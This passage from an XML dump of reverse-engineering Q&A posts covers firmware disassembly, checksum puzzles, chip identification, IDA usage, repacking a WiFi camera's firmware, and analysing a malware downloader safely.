noreferrer&quot;&gt;https://www.silabs.com/documents/public/data-sheets/EM35x.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Update: I converted ehx2 to ehx2.dec by &lt;a href=&quot;http://git.nazaryev.ru/xctu-decoder.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://git.nazaryev.ru/xctu-decoder.git/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19698" LastEditorUserId="19698" LastEditDate="2017-04-05T20:05:36.903" LastActivityDate="2017-04-05T20:05:36.903" Title="Can't extract machine code from Cortex-M3 firmware" Tags="|arm|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15050" PostTypeId="1" CreationDate="2017-03-29T22:51:09.503" Score="1" ViewCount="126" Body="&lt;p&gt;Im trying to reverse engineer a protocol in which some text is sent and has a specific number appended. I figured out that the number is some kind of a checksum (depends on the text somehow) and also that it increments by one on cases such as this: &quot;aaaaaaab&quot; = X and &quot;aaaaaaba&quot; = X+1.&#xA;Does anyone here have any idea what I could be dealing with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iiiiiiii =  4d0b &#xA;iiiiiiil =  920b &#xA;iiiiiill =  ce0b &#xA;iiiiilll =  120c &#xA;iiiillll =  5a0c &#xA;iiilllll =  990c &#xA;iillllll =  dd0c &#xA;illlllll =  210d &#xA;llllllll =  680d&#xA;liiiiiii =  940b &#xA;iliiiiii =  950b &#xA;iiliiiii =  960b &#xA;iiiliiii =  970b &#xA;iiiiliii =  980b &#xA;iiiiilii =  990b &#xA;iiiiiili =  9b0b &#xA;iiiiiiil =  920b &#xA;aaaaaaaa =  210f &#xA;aaaaaaab =  a110 &#xA;aaaaaaba =  a210 &#xA;aaaaaaca =  9f0f &#xA;aaaaaacb =  1f11 &#xA;baaaaaaa =  a610 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second part is what I have deduced to be the number which depends on the string. It's also obvious from the data  that the first two digits are least significant.  &lt;/p&gt;&#xA;" OwnerUserId="19700" LastEditorUserId="19700" LastEditDate="2017-03-30T12:15:17.010" LastActivityDate="2017-03-30T12:15:17.010" Title="Protocol RE, mysterious checksum function" Tags="|protocol|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15051" PostTypeId="2" ParentId="15049" CreationDate="2017-03-29T22:53:31.940" Score="1" Body="&lt;p&gt;the firmware file hash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\zigb&amp;gt;rahash2 -a md5 xbp24-dm_8073.ehx2.dec&#xA;xbp24-dm_8073.ehx2.dec: 0x00000000-0x00022bcd md5: 971f71b674af2d5edb670a5ce4b0371f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the version mingw objcopy in my windows box&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\zigb&amp;gt;objcopy -V&#xA;GNU objcopy (GNU Binutils) 2.25.1&#xA;Copyright (C) 2014 Free Software Foundation, Inc.&#xA;This program is free software; you may redistribute it under the terms of&#xA;the GNU General Public License version 3 or (at your option) any later version.&#xA;This program has absolutely no warranty.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;duplicated the file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\zigb&amp;gt;copy xbp24-dm_8073.ehx2.dec test.dec&#xA;        1 file(s) copied.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now i objcopy it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\zigb&amp;gt;objcopy -I srec -O binary -S  test.dec&#xA;&#xA;E:\zigb&amp;gt;ls -l&#xA;total 200&#xA;-rw-rw-rw-  1 HP 0  60800 2017-03-30 03:25 test.dec&#xA;-rw-rw-rw-  1 HP 0 142286 2017-03-30 02:43 xbp24-dm_8073.ehx2.dec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dumping 32 bytes from the file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\zigb&amp;gt;xxd -g 1 -l 32 test.dec&#xA;0000000: 43 54 02 d1 47 10 36 43 4e 00 d1 31 00 00 41 43  CT..G.6CN..1..AC&#xA;0000010: 00 d1 12 00 00 56 52 02 9c 1d fd 46 46 52 00 d1  .....VR....FFR..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dumping the first two lines from original file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\zigb&amp;gt;head -n 2 xbp24-dm_8073.ehx2.dec&#xA;S0260000433A5C446576656C6F706D656E745C646D32345C62696E5C584232342D444D2E70726DBE&#xA;S1231080435402D1471036434E00D1310000414300D11200005652029C1DFD46465200D14C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Deciphering the first s0 record (header) and the second line an S1 data record&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\zigb&amp;gt;rax2 -s 433A5C446576656C6F706D656E745C646D32345C62696E5C584232342D444D2E70726D&#xA;C:\Development\dm24\bin\XB24-DM.prm&#xA;&#xA;E:\zigb&amp;gt;rax2 -s 435402D1471036434E00D1310000414300D11200005652029C1DFD46465200D1&#xA;CT☻╤G►6CN ╤1  AC ╤↕  VR☻£↔²FFR ╤&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it appears to be correct conversion by objcopy &lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw objdump can use srec as target so no objconv is required i think&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;arm-none-eabi-objdump.exe -D -bsrec -marm  -Mforce-thumb --start-address=0x1893 --stop-address=0x&#xA;18a3 e:\zigb\xbp24-dm_8073.ehx2.dec&#xA;&#xA;e:\zigb\xbp24-dm_8073.ehx2.dec:     file format srec&#xA;&#xA;&#xA;Disassembly of section .sec2:&#xA;&#xA;00001893 &amp;lt;.sec2+0x67&amp;gt;:&#xA;    1893:       0f45            lsrs    r5, r0, #29&#xA;    1895:       942e            str     r4, [sp, #184]  ; 0xb8&#xA;    1897:       0e45            lsrs    r5, r0, #25&#xA;    1899:       9602            str     r6, [sp, #8]&#xA;    189b:       7701            strb    r1, [r0, #28]&#xA;    189d:       0e20            lsrs    r0, r4, #24&#xA;    189f:       a5a6            add     r5, pc, #664    ; (adr r5, 0x1b38)&#xA;    18a1:       0132            lsls    r2, r6, #4&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Strings inside binary xbee-pro digimesh v24 and mc13213 a hcs08 compatible cpu it seems&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-04-01T10:35:36.070" LastActivityDate="2017-04-01T10:35:36.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15052" PostTypeId="2" ParentId="13643" CreationDate="2017-03-30T02:17:39.993" Score="1" Body="&lt;pre&gt;&lt;code&gt;const CONTEXT *ctx; (from the arguments of LogRegWrite...)&#xA;PIN_REGISTER regval;&#xA;PIN_GetContextRegval(ctx, REG_SEG_GS, reinterpret_cast&amp;lt;UINT8*&amp;gt;(&amp;amp;regval));&#xA;PIN_GetContextRegval(ctx, REG_SEG_FS, reinterpret_cast&amp;lt;UINT8*&amp;gt;(&amp;amp;regval));&#xA;PIN_GetContextRegval(ctx, REG_SEG_GS_BASE, reinterpret_cast&amp;lt;UINT8*&amp;gt;(&amp;amp;regval));&#xA;PIN_GetContextRegval(ctx, REG_SEG_FS_BASE, reinterpret_cast&amp;lt;UINT8*&amp;gt;(&amp;amp;regval));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You use use &lt;code&gt;PIN_GetContextRegval&lt;/code&gt; API to get register value of &lt;code&gt;fs&lt;/code&gt;/&lt;code&gt;gs&lt;/code&gt;. As mentioned in a question on the Pinheads Yahoo group [1], &lt;code&gt;REG_SEG_GS&lt;/code&gt; will only get the value of &lt;code&gt;fs&lt;/code&gt;/&lt;code&gt;gs&lt;/code&gt;, in other word, the index to GDT, &lt;code&gt;REG_SEG_GS_BASE&lt;/code&gt; will get the base address of the corresponding entry of GDT.&lt;/p&gt;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://beta.groups.yahoo.com/neo/groups/pinheads/conversations/topics/5444&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://beta.groups.yahoo.com/neo/groups/pinheads/conversations/topics/5444&lt;/a&gt;, retrieved through &lt;a href=&quot;https://archive.org/details/yahoo-groups-2017-06-06T08-31-40Z-67aaf3&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wayback machine&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I think you're probably after REG_SEG_FS_BASE, which is the address of the base of the F segment.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I know fs is not zero by obtaining the memop effective address (0x7ffff7fd4728 in my case).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can't actually be sure that fs is not zero by looking at the EA, because the value in fs is an index into the table of segment descriptors, not a pointer in its own right...&#xA;The pointer value is taken from the segment descriptor, but is mirrored in the Pin virtual register REG_SEG_FS_BASE.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12073" LastEditorUserId="34842" LastEditDate="2021-04-01T15:00:08.683" LastActivityDate="2021-04-01T15:00:08.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15054" PostTypeId="2" ParentId="15049" CreationDate="2017-03-31T09:09:33.513" Score="2" Body="&lt;p&gt;The code in file is not ARM. In the binary the following string can be seen:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HW Part #: MC13213&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Googling for it leads to &lt;a href=&quot;http://www.nxp.com/pages/2.4-ghz-802.15.4-rf-and-8-bit-hcs08-mcu-with-60kb-flash-4kb-ram:MC13213&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; which says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The MC13213 System in Package (SiP) integrates the &lt;strong&gt;MC9S08GT&lt;/strong&gt; MCU&#xA;  with the MC1320x transceiver into a single 9x9mm LGA package.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;40 MHz &lt;strong&gt;HCS08&lt;/strong&gt; low-voltage, low-power core&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And indeed, choosing HCS08 in IDA leads to reasonably-looking disassembly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:1893 start:&#xA;seg000:1893&#xA;seg000:1893 ; FUNCTION CHUNK AT seg000:23BC SIZE 0000009F BYTES&#xA;seg000:1893&#xA;seg000:1893                 ldhx    #$F2E&#xA;seg000:1896                 txs&#xA;seg000:1897                 ldhx    #$E02&#xA;seg000:189A                 sthx    $177&#xA;seg000:189D                 bra     loc_18AD&#xA;seg000:189F ; ---------------------------------------------------------------------------&#xA;seg000:189F&#xA;seg000:189F loc_189F:                               ; CODE XREF: start+20j&#xA;seg000:189F                 lda     #$A5 ; 'Ñ'&#xA;seg000:18A1                 ldhx    $177&#xA;seg000:18A4                 sta     , x&#xA;seg000:18A5                 ldhx    #$177&#xA;seg000:18A8                 inc     1, x&#xA;seg000:18AA                 bne     loc_18AD&#xA;seg000:18AC                 inc     , x&#xA;seg000:18AD&#xA;seg000:18AD loc_18AD:                               ; CODE XREF: start+Aj&#xA;seg000:18AD                                         ; start+17j&#xA;seg000:18AD                 ldhx    $177&#xA;seg000:18B0                 cphx    #$F2E&#xA;seg000:18B3                 bcs     loc_189F&#xA;seg000:18B5                 jsr     sub_182C&#xA;seg000:18B8                 jmp     loc_23BC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-31T09:09:33.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15056" PostTypeId="1" AcceptedAnswerId="15062" CreationDate="2017-03-31T13:11:39.360" Score="3" ViewCount="863" Body="&lt;p&gt;I'm trying to play with the internals of a toy and the controller for that toy uses a chip that I have been unable to find any information on. The chip in question is this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NNRVa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NNRVa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The company is clearly visible, but I can't seem to find anything about them. Given the ambiguity in the font, i've tried googling &quot;Aveo&quot;, &quot;Nveo&quot;, &quot;Aueo&quot; and &quot;Nueo&quot; all to no results. I've tried googling the AV2881 chip identification only to find that there is a very specific type of wall paper that has that label.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chip is clearly a processor/controller of some type and what i'm ultimately trying to figure out here is how can i find the instruction set it uses (usually these things, even if a custom chip, use a known core instead of a custom instruction set) and how i can extract the firmware. In this particular case, i believe that the firmware is not necessarily on chip but on the 8M EEPROM that is next to the chip. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardware hacking is not my strong suit, but it anyone has some pointers about how i can identify this chip, i'd be most grateful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA; per the request below, here is a larger picture of the controller board:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YFaJw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YFaJw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; The toy in question is the NERF Terrascout. I wasnt sure if it was cool to call out the product in a post which is why i was being a bit cagey about it above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;greg.&lt;/p&gt;&#xA;" OwnerUserId="2172" LastEditorUserId="2172" LastEditDate="2017-03-31T16:34:04.727" LastActivityDate="2019-11-21T15:31:09.780" Title="How to identify unknown chip" Tags="|hardware|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="15057" PostTypeId="1" AcceptedAnswerId="15071" CreationDate="2017-03-31T14:22:14.353" Score="2" ViewCount="484" Body="&lt;p&gt;The Watcom compiler uses a fairly unusual calling convention, and IDA seems to be discarding some of the changes as irrelevant to its built-in pseudo-code. In my experience, that usually means I'm doing something wrong, as opposed to IDA :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the following function fragment, the changes to &lt;code&gt;ebx&lt;/code&gt; and &lt;code&gt;edx&lt;/code&gt; are ignored in the pseudo-code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; void __usercall RunScrIncDec(GeneralObject *object@&amp;lt;eax&amp;gt;, int *bufPtr@&amp;lt;edx&amp;gt;, int value@&amp;lt;ebx&amp;gt;)&#xA;RunScrIncDec    proc near&#xA;                cmp     byte ptr [edx], 0Ah&#xA;                jnz     short loc_164288&#xA;&#xA;                inc     ebx&#xA;                inc     edx&#xA;                retn&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note here that bufPtr and value are both incremented, and value is indeed passed by value, not by reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the function's return type so that it's an int by replacing the &lt;code&gt;void&lt;/code&gt; return type with an &lt;code&gt;int&lt;/code&gt; and appending the value location &lt;code&gt;@&amp;lt;ebx&amp;gt;&lt;/code&gt;, then IDA includes &lt;code&gt;ebx&lt;/code&gt; one in the pseudo-code, but still ignores &lt;code&gt;edx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to tell IDA to pay attention to these changes?&#xA;That &lt;code&gt;edx&lt;/code&gt; and &lt;code&gt;ebx&lt;/code&gt; aren't merely spoiled by the function, and that they're notable changes that should be reversed to bufPtr++ and value++ rather than not showing any pseudo-code at all?&#xA;Or is this just something that IDA isn't built to handle?&lt;/p&gt;&#xA;" OwnerUserId="19713" LastEditorUserId="2147" LastEditDate="2017-04-02T08:54:04.277" LastActivityDate="2017-04-02T09:44:48.410" Title="IDA ignoring register changes in pseudocode" Tags="|ida|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15061" PostTypeId="1" AcceptedAnswerId="15070" CreationDate="2017-04-01T04:21:43.973" Score="4" ViewCount="5195" Body="&lt;p&gt;When I use &lt;code&gt;GetDisasm()&lt;/code&gt;to get disassembly line, I find out that it will show some memory references as a variable name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when raw assembly is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov %r15, 0x20b062(%rip)`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;GetDisasm()&lt;/code&gt;'s output may be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov r15d, offset s1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was hoping there is a way to get the raw instruction, rather than the modified one?&lt;/p&gt;&#xA;" OwnerUserId="19411" LastEditorUserId="2147" LastEditDate="2017-04-02T08:26:39.170" LastActivityDate="2017-04-02T08:26:39.170" Title="How to get the disassembly line without offset translations in IDAPython?" Tags="|ida|binary-analysis|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15062" PostTypeId="2" ParentId="15056" CreationDate="2017-04-01T06:49:04.657" Score="3" Body="&lt;p&gt;Aveo is aveo technolgy corp  some software related to usb uvc camera seens ti be available here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://aveo.drivers.informer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://aveo.drivers.informer.com/&lt;/a&gt;  not sure if the links are geniune appears to be collated compilation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please make sure you download and inspect in a relatively safe environment &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some datasheets of different model seems to available here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.datasheetspdf.com/PDF/AV316H/769502/5&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.datasheetspdf.com/PDF/AV316H/769502/5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Webarchive knows about av288 and says it is 8051 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://web-beta.archive.org/web/20150503120144/http://www.aveotek.com:80/288.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://web-beta.archive.org/web/20150503120144/http://www.aveotek.com:80/288.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-04-01T10:34:24.910" LastActivityDate="2017-04-01T10:34:24.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15063" PostTypeId="1" CreationDate="2017-04-01T10:26:49.067" Score="2" ViewCount="334" Body="&lt;p&gt;I found JTAG header for ARM (OMAP3x). It's a Cortex 10-pin 0.05&quot; JTAG/SWD Connector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(See &lt;a href=&quot;http://support.code-red-tech.com/CodeRedWiki/HardwareDebugConnections&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's JTAG because PIN#3 and 5 are on GND and it's close of CPU&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I follow the wires, TCK, TDO, TDI goes on missing componant (red circle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/k3Hlf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k3Hlf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I was thinking an resistor array of 10K for pull up or pull down signals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But first, the left side pads doesn't seem to be wired to GND or Vcc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly it would be a 6 resistors array witch is not very common&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A last, array resistors have their pads wider on the ends (as the one of 100K*4 on the right bottom of the picture), witch isn't the case here.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;So what it could be ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do you think there is a missing resistor on TMS ? as we can see (perhaps) a pad for resistor (go to GND)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="19723" LastEditorUserId="245" LastEditDate="2020-02-05T10:45:17.277" LastActivityDate="2020-02-05T10:45:17.277" Title="Help identify missing component for jtag connection" Tags="|arm|jtag|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15064" PostTypeId="1" CreationDate="2017-04-01T23:52:27.827" Score="1" ViewCount="2205" Body="&lt;p&gt;When a C++ subclass object is being passed to a function which accepts base class objects, the C++ compiler implementation is so the subclass object pointer gets shifted down to point to the corresponding virtual table. So, the object may be passed to a function starting from the offset of that virtual table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find a way how to pass the pointer to an offset within an object to a function in IDA decompiled view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to set the type of the function argument something like struct-&gt;field * or struct.field * but that doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="19732" LastActivityDate="2017-05-04T21:25:16.397" Title="IDA Pro: how to pass a function a pointer to a structure field" Tags="|ida|struct|pointer|offset|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15065" PostTypeId="1" CreationDate="2017-04-02T00:38:18.360" Score="4" ViewCount="1174" Body="&lt;p&gt;I've been playing around with a cheapish ($15 on sale @ Wal-Mart) WiFi camera. It has a UART port which drops me into a shell from which I can launch telnetd and login easily. However, even though the filesystem is mounted readwrite, when I edit anything (i.e. init.d) and then reboot, the filesystem goes back to its previous state and telnetd doesn't run. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My long term goal is to figure out how to replace or edit the camera's streaming binary files so that it's not dependent upon a hosted cloud server to store and stream videos. (&lt;em&gt;Currently to stream from outside my house, the video bounces off their cloud server; and I must use their proprietary app!&lt;/em&gt;) My short term (current) goal is to figure out how to repack the firmware and rewrite to the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to sniff a firmware update, and the firmware file is found at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://app.isecurityplus.com/seedonk/firmware/minions/A356_upgrade_00.10.008_20161107.img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file A356_upgrade_00.10.008_20161107.img &#xA;A356_upgrade_00.10.008_20161107.img: u-boot legacy uImage, Imogen-X860-I, Linux/ARM, OS Kernel Image (Not compressed), 6709304 bytes, Mon Nov  7 02:33:58 2016, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0x37467C4E, Data CRC: 0x93CBB08E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;binwalk shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -Me A356_upgrade_00.10.008_20161107.img &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             uImage header, header size: 64 bytes, header CRC: 0x37467C4E, created: 2016-11-07 02:33:58, image size: 6709304 bytes, Data Address: 0x80008000, Entry Point: 0x80008000, data CRC: 0x93CBB08E, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: &quot;Imogen-X860-I&quot;&#xA;10063         0x274F          xz compressed data&#xA;10284         0x282C          xz compressed data&#xA;&#xA;&amp;lt;etc..snip.. eventually it creates a 0.cpio file&amp;gt;&#xA;&#xA;$ cpio -idv &amp;lt; 0.cpio &#xA;$ ls&#xA;0.cpio      dev     init        lib32       media       package     run  system     var&#xA;bin     etc     ko      libexec     mnt     proc        sbin        tmp&#xA;cpio-root   home        lib     linuxrc     opt     root        sys     usr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This community has been amazing and I've learned so much about RE. I've found a few posts on here about repackaging this sort of thing but I still have enough knowledge gap to fall short on knowing where my next step would be. Any guidance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2017-04-02T04:34:29.990" Title="Help editing &amp; repacking (repackaging) .img wi-fi camera firmware" Tags="|embedded|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15066" PostTypeId="1" AcceptedAnswerId="15072" CreationDate="2017-04-02T00:49:40.510" Score="3" ViewCount="1580" Body="&lt;p&gt;A PIE binary, when loaded in IDA shows an offset (&lt;code&gt;0x202010&lt;/code&gt;) different from gdb (&lt;code&gt;0x2013a1&lt;/code&gt;) for instruction located at &lt;code&gt;0x555555554c68&lt;/code&gt; in (gdb) and &lt;code&gt;0xc68&lt;/code&gt; (in IDA). How can I explain this discrepancy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XjNPm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XjNPm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zMbMo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zMbMo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-04-02T19:19:02.707" Title="Why is there a difference in offset between ida and gdb?" Tags="|ida|gdb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15067" PostTypeId="1" AcceptedAnswerId="15069" CreationDate="2017-04-02T02:38:17.140" Score="5" ViewCount="888" Body="&lt;p&gt;I'm trying to analyze a piece of malware that is most-likely a downloader. During dynamic analysis on an isolated VM network, Wireshark registered a &lt;code&gt;GET&lt;/code&gt; request to a server for what I believe is the payload (a &lt;code&gt;.bin&lt;/code&gt; file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a safe way to download the payload? Is there a tool that will allow me to replicate only the GET request? I do not want to run the malware connected to the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15520" LastEditorUserId="2147" LastEditDate="2017-04-02T07:53:23.070" LastActivityDate="2017-04-04T08:06:06.440" Title="Safe way to download a malware payload?" Tags="|windows|malware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15068" PostTypeId="2" ParentId="15065" CreationDate="2017-04-02T04:26:16.590" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, even though the filesystem is mounted readwrite, when I edit anything (i.e. init.d) and then reboot, the filesystem goes back to its previous state and telnetd doesn't run.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It sounds like in this case in order for modifications to the file system to persist across device reboots, changes must be made to the firmware image itself and the modified image must then be written to memory using the &quot;upgrade&quot; facility provided by the device. Here is the general workflow according to the &lt;a href=&quot;https://code.google.com/archive/p/firmware-mod-kit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware mod kit archive page at Google Code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Extract a firmware image into its component parts User makes desired&lt;/li&gt;&#xA;  &lt;li&gt;modification to the firmware's file system or web UI (webif) &lt;/li&gt;&#xA;  &lt;li&gt;Rebuild firmware &lt;/li&gt;&#xA;  &lt;li&gt;Flash modified firmware onto device and brick it (ha)&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since extraction does not seem to be a problem and since the file system format is &lt;code&gt;cpio&lt;/code&gt; and not something &lt;a href=&quot;http://elinux.org/File_Systems#Embedded_Filesystems&quot; rel=&quot;nofollow noreferrer&quot;&gt;more exotic&lt;/a&gt;, you may be able to use the &lt;a href=&quot;https://www.gnu.org/software/cpio/manual/cpio.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;GNU 